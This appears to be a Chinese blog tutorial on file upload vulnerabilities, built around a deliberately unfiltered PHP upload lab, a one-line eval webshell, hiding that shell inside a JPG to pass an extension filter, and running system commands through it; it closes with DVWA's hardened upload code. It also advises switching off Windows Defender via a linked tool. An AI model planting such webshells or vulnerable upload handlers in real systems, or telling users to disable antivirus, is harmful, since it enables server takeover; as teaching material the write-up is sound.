初识文件上传漏洞

什么是文件上传漏洞?

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

文件上传漏洞本身就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下WebShell以方便后续进入系统。攻击者在受影响系统放置或者插入WebShell后,可通过该WebShell更轻松,更隐蔽的在服务中为所欲为。这种漏洞存在也十分广泛,如:注册信息时上传照片的入口,提交文本的上传入口...

Webshell简介

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。

WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员不容易发现入侵痕迹。攻击者可以将WebShell隐藏在正常文件中并修改文件时间增强隐蔽性,也可以采用一些函数对WebShell进行编码或者拼接以规避检测。除此之外,通过一句话木马的小马来提交功能更强大的大马可以更容易通过应用本身的检测。<?php eval($_POST[a]); ?>就是一个最常见最原始的小马。本篇博客的实验就是利用这个小马进行的。

事先准备上传文件的靶场:

前端代码如下

<!DOCTYPE html>
<html>
	<meta charset="UTF-8">
	<title>文件上传</title>
	<body>
		<form enctype="multipart/form-data" action="upload_file.php" method="POST" />
			选择需要上传的文件:
			<input name="uploaded" type="file" />
			<br />
			<input type="submit" name="Upload" value="上传" />
		</form>
	</body>
</html>

后端代码如下

<?php
    header("Content-Type: text/html;charset=utf-8");
    if (isset($_POST['Upload'])) {
        $path = "upload/";
        $path = $path . basename( $_FILES['uploaded']['name']);
        if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $path)) {
            echo '您的图片上传失败.';
        }else {
            echo '<h2>' . $path . '文件已经成功上传!</h2>';
        }
    }
?>

简单认识一下前端

<form enctype="multipart/form-data" action="upload_file.php" method="POST" />

注意:其中multipart/form-data是指表单数据有多部分构成,既有文本数据,又有文件等二进制数据的意思,默认情况下,enctype的值是application/x-www-form-urlencoded,不能用于文件上传,只有使用了multipart/form-data,才能完整的传递文件数据。

再认识一下php后端代码中的两个函数

basename(path,suffix)   

path     必须存在规定要检查的路径

suffix    规定文件扩展名。如果文件有名有文件扩展名,将不会显示这个扩展名。

上述代码即利用basename函数将文件上传的路径完整的存储下来 

move_uploaded_file()

函数将上传的文件移动到新位置,若移动成功返回true,否则返回false 

利用已经得到的文件上传路径,将保存在C盘的临时文件移动到phpstudy根目录www下的upload目录下

效果如下图:

上传一张图片,回显上传成功:

查看upload文件:

 

说明靶场搭建成功!接下来利用文件上传的漏洞来获取一些信息 

注意到后端的代码没有对上传的文件进行任何过滤的措施,虽然初衷是想让用户上传图片,但如果有一个恶意用户希望得到开发页面的php版本的信息,编写一个如下的php文件:

选择hack.php文件上传,发现上传成功:

值得注意的是,回显值中有文件保存路径,将url改为:localhost/upload/hack.php再次提交,可以得到php版本信息:

得到所使用的php版本为5.6.27,与事实相符

那么将上传的文件进行过滤处理,修改后端的代码如下:

<?
     if (isset($_POST['Upload'])) {
        $path = "upload/";
        $path = $path . basename( $_FILES['uploaded']['name']);

        $name = $_FILES[ 'uploaded' ][ 'name' ];        //文件名
        $type = $_FILES[ 'uploaded' ][ 'type' ];        //文件类型
        $size = $_FILES[ 'uploaded' ][ 'size' ];        //文件大小
        $tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];    //临时文件名
        $extend = substr( $name, strrpos( $name, '.' ) + 1);      //检查文件后缀

        if( ( strtolower( $extend ) == "jpg" || strtolower( $extend ) == "jpeg" || strtolower( $extend ) == "png" ) &&
        ( $size < 100000 ) ) {

        if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $path)) {
            echo '您的图片上传失败.';
        }else {
            echo '<h2>' . $path . '文件已经成功上传!</h2>';
        }
    }else{
        echo '<h2>上传文件类型错误!</h2>';
    }
}
?>

简单介绍一下新增内容:

$name = $_FILES[ 'uploaded' ][ 'name' ];        //文件名
$type = $_FILES[ 'uploaded' ][ 'type' ];        //文件类型
$size = $_FILES[ 'uploaded' ][ 'size' ];        //文件大小
$tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];    //临时文件名 

使用$name,$type,$size,$tmp来保存文件名,文件类型,文件大小以及临时文件名,方便接下来的过滤操作

substr( $name, strrpos( $name, '.' ) + 1)

substr函数是从字符串中指定位置开始,将剩下的字符串部分输出

strrpos函数结构为:strrpos(string,find,start)

其中start参数指定字符开始位置,不一定要存在;string为指定的要被切割的字符串,find为需要寻找的字符所在原字符串中的最后一个位置,这里要查找' . '这个字符,可知' . '之后就是php后缀

strtolower()函数可以将所有字符串的字母转化为小写字母,方便对文件后缀名的识别 

从更改的代码中可以看出,对于用户上传的文件类型限制为图片,文件后缀名仅限jpg,png,jpeg,文件大小也有限制(size<100000字节),如果不满足上述要求,就会产生文件的上传漏洞。但这种简单过滤也是无法完全防范文件上传漏洞的,如果将恶意代码(例如博客刚开始提到的:<?php eval($_POST[a]); ?>)与图片信息合在一起再进行上传,同样会造成破坏,实验如下:

首先任意选择一张图片,命名为1.jpg

编辑一个txt的文本,文本输入如下内容并命名为1.txt:

<?php
         @eval($_POST['pass']);
?> 

eval() 函数把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾,如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。我们认为eval()函数是危险函数,因为会将上传的字符串解析为php代码

注意:现在的Windows Defend太过于强大,以至于下列代码只要一保存,就会被Windows Defend删除,所以只能在保存之前将Windows Defend关闭,这里提供一个关闭工具:一键开启或关闭Windows Defend(提取码:vsjl),只要点击关闭然后重启电脑即可。

完成上述两步后,就可以利用电脑自带的copy命令将两个文件合并成一张图片,输入命令后如果出现下图所示,说明合成成功

 

因为合成的依旧是一个jpg格式的图片,所以可以大胆上传,不会被拦截

 将url栏改为:

localhost/upload/hack.jpg

发现可以正常访问上传的图片 

现在,将上传的图片改为后缀为php的文件进行畸形访问

localhost/upload/hack.jpg/hack.php

利用图片中的<?php @eval($_POST['pass']); ?>,用火狐中的插件hackbar进行传值

pass=system("ipconfig");

发现解析出来的全是乱码

注意:作者在做实验的时候突然发现hackbar要收费了...弄了好久才发现原来是hackbar自动升级了,升级后的版本需要付费才能使用,这里给大家一个老版本的hackbar的安装和使用方法:hackbar收费前的最新版本,安装好后一定要记得关掉自动更新! 

翻到最后发现出现了电脑IP地址等信息 

用命令行查看,发现与实际相符合 

那么怎样才能做到无解的防护呢?这里给出一个代码(dvwa安全级别为imposible的文件上传代码):

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
	$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
	$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

	// Where are we going to be writing to?
	$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
	//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
	$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
	$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
	$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

	// Is it an image?
	if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
		( $uploaded_size < 100000 ) &&
		( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
		getimagesize( $uploaded_tmp ) ) {

		// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
		if( $uploaded_type == 'image/jpeg' ) {
			$img = imagecreatefromjpeg( $uploaded_tmp );
			imagejpeg( $img, $temp_file, 100);
		}
		else {
			$img = imagecreatefrompng( $uploaded_tmp );
			imagepng( $img, $temp_file, 9);
		}
		imagedestroy( $img );

		// Can we move the file to the web root from the temp folder?
		if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
			// Yes!
			$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
		}
		else {
			// No
			$html .= '<pre>Your image was not uploaded.</pre>';
		}

		// Delete any temp files
		if( file_exists( $temp_file ) )
			unlink( $temp_file );
	}
	else {
		// Invalid file
		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

imagecreatefromjpeg() 返回一图像标识符,代表了从给定的文件名取得的图像。

md5( ):对字符串进行MD5加密,这是不可逆的加密方法

rename( ):函数重命名文件或目录

imagegif( ):以 GIF 格式将图像输出到浏览器或文件

imagejpeg( ):以 JPEG 格式将图像输出到浏览器或文件

imagepng( ):以 PNG 格式将图像输出到浏览器或文件

imagecreatefromjpeg( ): 由文件或 URL 创建一个新图象。

getchwd( ):函数返回当前工作目录

sys_get_temp_dir( ):返回用于临时文件的目录

ini_get( ):获取一个配置选项的值

uniqid( ):基于以微秒计的当前时间,生成一个唯一的 ID。

imagedestroy( ):释放与 image 关联的内存

unlink( ):删除文件,成功返回true,失败返回false

利用上述代码,除了之前的过滤措施之外,将用户上传的原文件进行重命名,删除源文件等的一系列方法来彻底预防文件上传漏洞被恶意用户利用

发布了18 篇原创文章 · 获赞 38 · 访问量 5091

猜你喜欢

转载自blog.csdn.net/qq_43592364/article/details/101622365